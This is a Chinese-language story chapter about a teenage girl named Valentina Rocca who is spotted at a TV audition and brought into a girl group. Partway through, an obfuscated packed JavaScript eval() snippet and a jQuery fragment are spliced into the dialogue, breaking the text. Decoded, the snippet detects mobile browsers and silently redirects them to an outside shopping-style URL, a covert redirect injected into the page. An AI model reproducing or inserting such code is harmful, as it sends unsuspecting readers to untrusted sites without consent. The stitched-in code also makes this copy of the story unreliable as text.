匿名长帖发出来二十分钟，评论区已经替它找好了最容易转发的记忆点，迅速地像滚雪球一样扩散开来。
Mia盯着屏幕，脸色越来越臭。
“他们真的很会发明历史。”
Denise坐在沙发扶手上，手里捏着一支没拆封的唇膏。她看着那张旧照片，难得没有立刻骂人。
照片里也有她。
十七岁的Denise站在右侧，黑发亮得像刚喷过一整瓶亮粉，眼神锋利，嘴唇抿着，舞台灯把她外套上的肩章照得闪闪发亮。
中间是Rocha。
低腰牛仔裤，红色宽皮带，白色babytee，耳环晃得像两枚小警报器。她一只手按在腰侧，另一只手搭在Summer肩上，笑得过分明亮。
不是现在她在红毯上习惯展现出的，那种计算好角度的笑。
十五岁的Rocha笑起来，像整个房间都跟着亮了一瞬。
瓦伦蒂娜靠在窗边，看着屏幕里那个年轻的自己。
Rocha。
这个名字像一块旧糖。
甜是真的。
黏也是真的。
照片里的女孩站在灯下，漂亮得有点吵，快乐得好像根本不知道，很多年后会有人拿她的快乐做证据。
可那时候，她只是一个很吵、很亮、很想红的小女孩。
那一年，她本来不是去试女团的。
她只是去电视台试一个青少年节目的主持人。
节目名字很长，一听就像每周六下午会播给中学生看，内容包括校园穿搭、青春期烦恼、明星访谈，以及“如何在不惹怒父母的情况下改造你的卧室”。
经纪人说，那是个好机会。
不一定大红，但稳定，干净，露脸多。
母亲早上替她熨了那件白色babytee。
“太短了。”母亲说。
“只短一点点。”
“一点点是所有麻烦的开始。”
瓦伦蒂娜站在镜子前，把衣摆往下拉，又趁母亲转身，偷偷卷回去半寸。
母亲从镜子里看见了。
她没有骂，只拿起针线盒，把侧边多余的一点布料收进去。
“至少让它看起来像是故意的设计感。”母亲说。
瓦伦蒂娜立刻抱住她。
“妈妈，你是全世界最好的犯罪同伙。”
“我不是同伙。”母亲把针从布料里穿过去，“我是试图让你的小犯罪看起来体面的人。”
她那天穿的是母亲改过的低腰牛仔裤，不是最新款。宽皮带也不是名牌，但扣头很亮。耳环大一点，唇蜜亮一点，头发夹了两个小发卡，像随时可以去学校，又像一拐弯就能走进音乐录影带唱歌跳舞。
电视台走廊的空调开得太足。
墙上贴着卷边的节目海报，地毯有一股旧咖啡和清洁剂混在一起的味道。走廊里坐了十几个女孩，金发的、棕发的、黑发的，她们穿着彩色开衫、牛仔裙、亮片背心，手里都拿着台词纸。
瓦伦蒂娜在签到表上写下自己的名字。
工作人员低头看了一眼。
“Roca？”
瓦伦蒂娜把笔帽扣回去。
`Rocca.Twoc's.`
“Rocca。两个c。”
工作人员抬头。
她又补了一句，笑得很甜：
`It’sItalian.Mydadgetsdramaticaboutit.`
“意大利姓。我爸对这个很较真。”
工作人员没忍住笑，在名单上改了拼写。
“谢谢。”瓦伦蒂娜看了一眼她的胸牌，“Marcy。”
Marcy停了一下，像是有点意外。
“你很会讨好考官。”她说。
“我还没开始考呢。”
“小机灵鬼。”
瓦伦蒂娜坐到靠墙的位置，把台词纸摊在膝盖上。
旁边的女孩正在小声背稿，背到第三句卡住，低头把纸翻得哗啦响。她的假睫毛翘起一角，像马上就要离家出走。
瓦伦蒂娜看了两秒。
那女孩察觉到她的视线，立刻抬手捂眼睛。
“很明显吗？”
瓦伦蒂娜认真想了想。
“如果我们现在在广播剧试镜，就不明显。”
女孩愣了一下，笑出来，紧张一下松了半截。
瓦伦蒂娜从包里摸出一小管胶，递过去。
“你自己会弄吗？”
“会一点。”
“一点不够。”瓦伦蒂娜把台词纸塞到腿边，“别眨。真的，别眨，你一眨它就要飞去隔壁节目啦。”
女孩憋着笑，眼睛睁得很用力。
瓦伦蒂娜凑近，手很稳，动作也快。她不像化妆师那样仔细检查，只用指腹压了两下。
“好了。”她退开一点，“现在你简直光芒四射。”
旁边两个女孩低头笑了一下。
走廊又安静下来。
只是没有刚才那么硬了。
另一个女孩看了她好几次，终于忍不住问：“你的唇蜜是什么色号？”
瓦伦蒂娜合上小镜子。
“我就知道你看的是这个。”
女孩脸红：“我没有一直看。”
“你看了好几次。”瓦伦蒂娜把唇蜜从包里拿出来，“试试看。”
女孩接过去，小心地往手背上点了一点。
“好亮。”
“它的工作就是亮。”瓦伦蒂娜说，“不亮的话，我买它干什么？”
这次笑声又多了一点。
有人问她是不是常来电视台试镜。
她说不是。
“我一般在商场舞台、学校礼堂和我爸车里表演。观众分别是路过的人、被迫观看的同学，和一个认为所有歌都应该更像意大利老歌的男人。”
走廊里几个女孩终于抬起头。
不是所有人都喜欢她。
也不是所有人都讨厌她。
她只是很难被忽视，因为没人能把这样鲜活可爱的一个女孩子当成背景。
她背了一遍台词，第二遍就开始嫌那张纸太无聊，思考能不能稍微改一改台词。
几分钟后，一个刚试完镜的女孩从房间里出来，眼睛有点红，低头快步往洗手间走。
走廊一下子静下来。
瓦伦蒂娜看着那扇关上的门，眼睛转了一圈，又把台词纸翻回第一页。
没人说话。
她也没有再开玩笑。
过了一会儿，刚才借唇蜜的女孩小声问：“她是不是没过才哭的？”
“也可能只是里面灯太亮闪到了眼睛。”瓦伦蒂娜说。
“你真的这样想？”
“不。”她很诚实，“但现在这样想比较有用。”
女孩抿了抿嘴，低头继续背稿。
走廊另一头就在这时过来两个人。
走在前面的男人一个夹着文件夹，跟着的女孩拿着一打咖啡。他们原本只是经过，快走到试镜房门口时，夹文件夹的男人停了一下。
他不是第一个看见瓦伦蒂娜的人。
准确地说，他先看见了走廊变化的氛围。
那排刚才还绷得像被拉直的彩色发带一样的女孩，现在有人在补唇蜜，有人在笑，有人在重新背台词，有人偷偷看坐在靠墙位置的那个女孩。
而那个女孩没有坐在中间。
她甚至没有站起来。
她只是坐在那里，白色babytee，低腰牛仔裤，红色皮带，耳环亮得过分。她低头在台词纸上画线，偶尔抬头接一句话，走廊里的注意力就被她轻轻拨过去。
夹文件夹的男人看了几秒。
“那是谁？”
Marcy条件反射地秒答：“ValentinaRocca。她是来试那个青少年节目的。”
男人重复了一遍：“Rocca？”
瓦伦蒂娜抬头。
这一次她没有纠正什么。她看了看他手里的文件夹，又看了看他身后那间门半开的练习室。
“你刚才听见Marcy念了。”她说。
男人笑了。
“你总这样回答问题吗？”
“看问题值不值得认真回答。”
走廊里有女孩轻轻吸了一口气，像觉得她胆子太大，又有点替她兴奋。
男人看着她。
不是那种看漂亮小孩的眼神。
更像在看一个值得重视的漂亮商品，一个还没开机就已经让画面有了重心的存在。
他问：
`Doyousing?`
“你会唱歌吗？”
瓦伦蒂娜眨了一下眼。
她当然唱。
商场活动唱过，学校礼堂唱过，父亲开车时她也对着收音机乱唱过。她不觉得自己是房间里唱得最好的女孩，也不觉得这个问题和今天的试镜有什么关系。
但她听懂了另一层意思。
机会有时候不会按你排练好的剧本进门。
它可能穿着皱衬衫，拿着冷掉的咖啡，在走廊里突然问一句不相干的话。
她把包往肩上一挎，站起来。
皮带扣在灯下闪了一下。
`Enough.`
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17652874|206099||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“够用。”
男人挑眉。
`Enough?`
“够用？”
瓦伦蒂娜笑起来。
`Enoughtomakeyouaskthenextquestion.`
“足够让你问下一个问题。”
旁边几个女孩都看着她。
不是嫉妒。
更像teenager看见有人大胆替自己赢了“装模作样”的大人一秒时，那种短促的、不由自主的惊喜。
男人终于笑了。
“Good.”他说，“跟上。”
瓦伦蒂娜回头，把唇蜜从刚才那个女孩手里拿回来，又想了想，重新塞给她。
“送给你啦，今天我很开心。”她说。
她跟着男人往走廊另一头走。
走了几步，她又回头，对那排女孩挥挥手。
`Wishmeluck.`
“祝我好运吧。”
有人小声说：
`Goodluck.`
“祝你好运。”
另一个女孩说：“你的唇色真的很漂亮！”
瓦伦蒂娜冲她飞了个吻。
“我知道。”
她转身时还在笑。
那笑太亮了。
亮到仿佛像一个预告，宣布从这一刻开始，很多人都会想为它开价，将它妥善包装和售卖。
几分钟后，她站在另一间练习室门口。
里面有四个女孩。
金发女孩站在钢琴旁边，正在试一句高音。声音干净得像柠檬水里的冰块，唱完却立刻低头看谱，像不确定自己是不是够好。
靠墙拉伸的女孩抬眼看她，从耳环看到鞋尖，视线又快又准，像已经把她能不能跟上八拍审判了一遍。
抱着歌词纸的甜妹朝她笑了一下，笑得很软，手指却把纸角捏出了折痕。
最后一个棕发女孩站在窗边，表情写着：我知道这首歌很蠢，但如果要唱，我会把它唱准。
男人推开门。
`Girls,wemayhavefoundthefifth.MeetValentinaRocca.`
“姑娘们，或许我们找到了第五人。认识一下，瓦伦蒂娜·洛卡。”
四个女孩同时看向她。
瓦伦蒂娜站在门口，忽然意识到自己还拿着刚才那只小黑发夹。
她把发夹别回头发上，笑得很甜。
`Hi.I'mnotheretostealanyone'slunch.`
“嗨。我不是来偷任何人午餐的。”
靠墙拉伸的女孩先开口：“你站哪儿？”
瓦伦蒂娜看了看地上的胶带，又看了看镜子。
“还没人告诉我。”
“那就先别挡镜子。”
她声音不大，但很硬。
瓦伦蒂娜点点头，往旁边挪了一步。
“这样？”
女孩看了她两秒。
“勉强。”
甜妹没忍住笑了一声。
瓦伦蒂娜也笑了：“我会努力变得不那么碍事。”
“先学会数八拍。”女孩说。
“会数。”瓦伦蒂娜说，“只是偶尔会有自己的想法。”
女孩终于把腿放下来。
“Denise。”
“Valentina。”
Denise低头看了一眼她伸出来的手，过了半秒才握住。
很短。
力气很大。
瓦伦蒂娜松开手，甩了甩指尖。
“好吧。”她说，“现在我知道谁负责不让我死在这里了。”
Denise转身走回镜子前。
“站后面。”她说，“先别挡Summer。”
瓦伦蒂娜立刻站过去。
“收到。”
此刻心情很好的她无法想象，十几年后，会有匿名帖把这一天写成一场精心策划的空降。
说她被公司塞进组合。
说她还没有唱，已经先抢了中心。
说Rocha从诞生起就是一个营销方案。
他们写对了一点。
她确实还没有唱，就已经让所有人看她。
但他们写漏了另一点。
在那一天，女孩们没有讨厌她。
她们也在笑。
因为十五岁的瓦伦蒂娜·洛卡还没有学会把明亮收起来。
她走进每一个房间，都像认真相信那里会有人喜欢她。
而很多时候，确实会有。